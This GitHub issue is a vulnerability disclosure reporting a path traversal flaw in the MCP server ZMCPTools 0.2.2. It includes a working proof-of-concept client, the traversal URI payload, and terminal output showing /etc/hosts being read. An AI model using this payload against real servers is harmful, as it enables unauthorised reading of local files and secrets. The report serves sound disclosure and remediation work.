New issue

Path Traversal and Arbitrary Local File Read Vulnerability in ZMCPTools #23

Open

BruceJqs opened 2 weeks ago Owner

Path Traversal and Arbitrary Local File Read Vulnerability in ZMCPTools

1) CNA / Submission Type

- Submission type: Report a vulnerability (CVE ID request)
- Reporter role: Independent security researcher
- Report date: Apr 14, 2026

2) Reporter Contact

- Reporter name: `BruceJin`
- Reporter email: `brucejin@zju.edu.cn`
- Permission to share contact with vendor: `Yes`

3) Vendor / Product Identification

- Vendor: ZachHandley
- Product: ZMCPTools
- Repository: https://github.com/ZachHandley/ZMCPTools
- Affected component(s):
- `src/server/McpServer.ts`
- `src/managers/ResourceManager.ts`

4) Vulnerability Type

- CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- Short title: Path traversal in MCP log resource reading

5) Affected Versions

- Confirmed affected: 0.2.2
- Suspected affected range: revisions containing the same resource URI-to-filesystem flows listed below
- Fixed version: Not available at time of report

6) Vulnerability Description

A path traversal vulnerability (CWE-22) has been identified in ZMCPTools version 0.2.2, specifically within the MCP log resource handling code in src/managers/ResourceManager.ts. The resources/read handler accepts a user-controlled logs://{dirname}/content?file={filename} URI and constructs a filesystem path without validating that the resolved path remains under the intended log directory. An attacker with access to the MCP interface can supply ../ sequences in the dirname parameter to read arbitrary local files accessible to the server process, such as /etc/hosts. No fixed version is available at the time of reporting.

7) Technical Root Cause

1. `js/file-access-from-request`
   - Source: `src/server/McpServer.ts:540` (`request`)
   - Source parameter: `src/server/McpServer.ts:541` (`uri`)
   - Propagation: `src/server/McpServer.ts:544` (`this.resourceManager.readResource(uri)`)
   - URI parsing: `src/managers/ResourceManager.ts:312`
   - `logs://{dirname}/content` routing: `src/managers/ResourceManager.ts:391`
   - Directory extraction: `src/managers/ResourceManager.ts:392`
   - Sink path construction: `src/managers/ResourceManager.ts:1224`
   - Sink: `src/managers/ResourceManager.ts:1225`
   - Sink code: `const content = await readFile(filePath, "utf8");`
2. Related directory listing flow
   - `logs://{dirname}/files` routing: `src/managers/ResourceManager.ts:383`
   - Sink path construction: `src/managers/ResourceManager.ts:1152`
   - Sink: `src/managers/ResourceManager.ts:1153`
   - Sink code: `const entries = await readdir(dirPath, { withFileTypes: true });`

8) Attack Prerequisites

- Attacker can invoke the MCP `resources/read` operation against the affected ZMCPTools server.

- The MCP server process has filesystem read permissions for the target file.
- No effective validation rejects `..` path segments or enforces that resolved paths remain under the intended log directory.

9) Proof of Concept / Reproduction Guidance

This proof of concept uses the MCP SDK to call the vulnerable `resources/read` operation and read `/etc/hosts` through the log content resource.

1. Build from the repository root.

```
pnpm install
pnpm build
```

2. Run a minimal MCP SDK client from the repository root.

```
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const client = new Client(
  { name: "poc-client", version: "1.0.0" },
  { capabilities: {} }
);

const transport = new StdioClientTransport({
  command: process.execPath,
  args: ["dist/server/index.js"],
  cwd: process.cwd()
});

await client.connect(transport);

const result = await client.readResource({
  uri: "logs://../../../../../../etc/content?file=hosts"
});

console.log(result.contents?.[0]?.text ?? JSON.stringify(result, null, 2));

await client.close();
```

3. Validation

- The MCP SDK client sends a `resources/read` request containing the crafted `logs://../../../../../../etc/content?file=hosts` URI.
- The server resolves the traversal path outside the intended log directory and returns the contents of `/etc/hosts`.
- A successful reproduction prints host file content such as `localhost` entries.

10) Security Impact

- Confidentiality: High (arbitrary local files readable by the MCP server process may be exposed).
- Integrity: None (the demonstrated vulnerable flow reads filesystem content).
- Availability: Low (large or special files may cause resource consumption or error conditions).
- Scope: Unchanged.

11) CVSS v3.1 Suggestion

- Suggested vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L`
- Suggested base score: 7.5 (High)
- Adjust `PR` upward if the vulnerable MCP resource interface is strictly authenticated and only available to trusted users.

12) Workarounds / Mitigations

- Restrict access to the MCP resource interface to trusted users only.
- Disable or remove the `logs://*/content` and `logs://*/files` resource handlers until path validation is fixed.
- Reject `..`, absolute path components, encoded traversal sequences, and path separators in `dirname` and `file`.
- Resolve the final path and verify it remains within the intended log directory before filesystem access.

13) Recommended Fix

- Normalize and resolve the final filesystem path with a fixed base directory, then enforce that the resolved path remains under `~/.mcptools/logs`.
- Treat `dirname` and `file` as logical identifiers rather than raw path fragments; allow only expected log directory and log filename patterns.
- Avoid passing URI path segments directly into `join` without validation.
- Add regression tests for traversal payloads such as `logs://../../../../../../etc/content?file=hosts` and encoded equivalents.
- Publish a maintainer security advisory once a patch is released.

14) References

- Repository: https://github.com/ZachHandley/ZMCPTools
- Reviewed source file: `src/server/McpServer.ts`
- Reviewed source file: `src/managers/ResourceManager.ts`
- CWE-22: https://cwe.mitre.org/data/definitions/22.html

15) Credits

- Discoverer: `BruceJin`
- Discovery method: Static analysis (CodeQL) plus repository source-code audit and dynamic reproduction

16) Additional Notes for Form Mapping

- Audit verdict: Exploitable: attacker-controlled MCP resource URI can reach filesystem read and directory listing sinks.
- Dynamic exploit replay status: reproduced successfully with the MCP SDK using the `/etc/hosts` proof of concept.
- Maintainer should validate release mapping before coordinated disclosure.

BruceJqs 2 weeks ago Owner Author •••

```
❯ >....
  command: process.execPath,
  args: ['--preserve-symlinks-main', '/tmp/zmcp-tools/dist/server/index.js'],
  cwd: '/tmp/zmcp-tools'
});

await client.connect(transport);

const result = await client.readResource({
  uri: 'logs://../../../../../../etc/content?file=hosts'
});

console.log(result.contents?.[0]?.text ?? JSON.stringify(result, null, 2));

await client.close();
EOF
💾 Crash logs will be stored in: /Users/bruce/.mcptools/logs/crashes
🚀 Starting Claude MCP Tools TypeScript Server...
📁 Data directory: /Users/bruce/.mcptools/data
🗃️ Database path: /Users/bruce/.mcptools/data/claude_mcp_tools.db
🌐 Transport: STDIO
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
🚀 Starting Claude MCP Tools Server...
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
[huggingface-embedding] WARN: Could not configure thread count {}
✅ Database initialized
🔍 Connecting to LanceDB...
✅ LanceDB connected successfully
🤖 Starting background scraping worker...
[drizzle-manager] ERROR: Transaction failed after all retries {"attempts":6,"finalError":
"no such table: scrape_jobs","errorCode":"SQLITE_ERROR"}
Worker error: SqliteError: no such table: scrape_jobs
    at Database.prepare (/Volumes/Files/2026.3-7 春夏学期/CVEs/ZMCPTools/node_modules/.pn
pm/better-sqlite3@12.2.0/node_modules/better-sqlite3/lib/methods/wrappers.js:5:21)
    at BetterSQLiteSession.prepareQuery (file:///Volumes/Files/2026.3-7%20%E6%98%A5%E5%A4
%8F%E5%AD%A6%E6%9C%9F/CVEs/ZMCPTools/node_modules/.pnpm/drizzle-orm@0.44.2_@libsql+client
@0.15.9_@types+better-sqlite3@7.6.13_better-sqlite3@12.2.0/node_modules/drizzle-orm/bette
r-sqlite3/session.js:23:30)
    at BetterSQLiteSession.prepareOneTimeQuery (file:///Volumes/Files/2026.3-7%20%E6%98%A
5%E5%A4%8F%E5%AD%A6%E6%9C%9F/CVEs/ZMCPTools/node_modules/.pnpm/drizzle-orm@0.44.2_@libsql
+client@0.15.9_@types+better-sqlite3@7.6.13_better-sqlite3@12.2.0/node_modules/drizzle-or
m/sqlite-core/session.js:142:17)
    at SQLiteSelectBase._prepare (file:///Volumes/Files/2026.3-7%20%E6%98%A5%E5%A4%8F%E5%
AD%A6%E6%9C%9F/CVEs/ZMCPTools/node_modules/.pnpm/drizzle-orm@0.44.2_@libsql+client@0.15.9
_@types+better-sqlite3@7.6.13_better-sqlite3@12.2.0/node_modules/drizzle-orm/sqlite-core/
query-builders/select.js:615:88)
    at SQLiteSelectBase.all (file:///Volumes/Files/2026.3-7%20%E6%98%A5%E5%A4%8F%E5%AD%A6
%E6%9C%9F/CVEs/ZMCPTools/node_modules/.pnpm/drizzle-orm@0.44.2_@libsql+client@0.15.9_@typ
es+better-sqlite3@7.6.13_better-sqlite3@12.2.0/node_modules/drizzle-orm/sqlite-core/query
-builders/select.js:641:17)
```

```
    at file:///tmp/zmcp-tools/dist/server/index.js:6259:187
    at Function.<anonymous> (file:///tmp/zmcp-tools/dist/server/index.js:17708:18)
    at Function.sqliteTransaction (/Volumes/Files/2026.3-7 春夏学期/CVEs/ZMCPTools/node_modules/.pnpm/better-sqlite3@12.2.0/node_modules/better-sqlite3/lib/methods/transaction.js:65:24)
    at BetterSQLiteSession.transaction (file:///Volumes/Files/2026.3-7%20%E6%98%A5%E5%A4%8F%E5%AD%A6%E6%9C%9F/CVEs/ZMCPTools/node_modules/.pnpm/drizzle-orm@0.44.2_@libsql+client@0.15.9_@types+better-sqlite3@7.6.13_better-sqlite3@12.2.0/node_modules/drizzle-orm/better-sqlite3/session.js:40:51)
    at BetterSQLite3Database.transaction (file:///Volumes/Files/2026.3-7%20%E6%98%A5%E5%A4%8F%E5%AD%A6%E6%9C%9F/CVEs/ZMCPTools/node_modules/.pnpm/drizzle-orm@0.44.2_@libsql+client@0.15.9_@types+better-sqlite3@7.6.13_better-sqlite3@12.2.0/node_modules/drizzle-orm/sqlite-core/db.js:301:25) {
  code: 'SQLITE_ERROR'
}
🔍Reading resource with uri: logs://../../../../../../etc/content?file=hosts
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1       localhost
255.255.255.255 broadcasthost
::1             localhost

# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work
127.0.0.1       localhost.sangfor.com.cn

## Adobe Creative Cloud WAM - Start ##
166.117.29.222 detect-ccd.creativecloud.adobe.com
## Adobe Creative Cloud WAM - End ##

Received SIGTERM, cleaning up Claude processes...
Terminating 0 Claude processes
Terminating 0 Claude processes

 bruce …/ZMCPTools  main  v22.17.0  base  10:38
❯
```

By exploiting the vulnerability, the file /etc/hosts has been successfully read and displayed.

BruceJqs mentioned this 2 weeks ago

Path Traversal and Arbitrary Local File Read Vulnerability in ZMCPTools
ZachHandley/ZMCPTools#8

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants